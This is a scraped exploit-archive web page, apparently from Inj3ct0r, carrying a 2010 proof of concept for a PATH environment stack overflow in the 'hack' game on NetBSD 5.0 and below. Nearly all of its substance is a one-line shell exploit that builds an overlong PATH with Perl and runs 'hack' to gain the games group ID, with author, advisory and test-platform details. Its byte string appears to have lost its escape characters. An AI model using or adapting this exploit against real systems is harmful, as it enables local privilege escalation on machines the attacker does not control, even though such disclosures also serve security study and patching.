Home / os / win7

NetBSD 5.0 and below Hack PATH Environment overflow proof of

Posted on 19 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>NetBSD 5.0 and below Hack PATH Environment overflow proof of concept</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================================== NetBSD 5.0 and below Hack PATH Environment overflow proof of concept ==================================================================== #!/bin/sh # NetBSD 5.0 and below Hack PATH Environment overflow proof of concept # Successfull Exploitation gives guid 100 (games) # Vulnerable Function is in hack.unix.c # It is a basic strcpy stack overflow. Such overflows are hard to exploit in # NetBSD. If you can exploit it successfully feel free to contact me # Original Advisorie: NetBSD-SA2009-007 # Title: hack rougelike game PATH stack overflow # Author: JMIT (office@johannesmaria.at) # Date: 18. May 2010 # Software Link: Contained in all NetBSD Distributions as default # Version: NetBSD 5.0 and below # Tested on: NetBSD 5.0-RELEASE # CVE: Not available. See NetBSD-SA2009-007 # Code: export PATH=`/usr/pkg/bin/perl -e 'printf(&quot;A&quot;x1000);printf(&quot;x41xb0xe5xbfxbf&quot;x15);'`:/bin:/usr/bin:/usr/sbin:/sbin:/usr/games &amp;&amp; hack # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-19]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP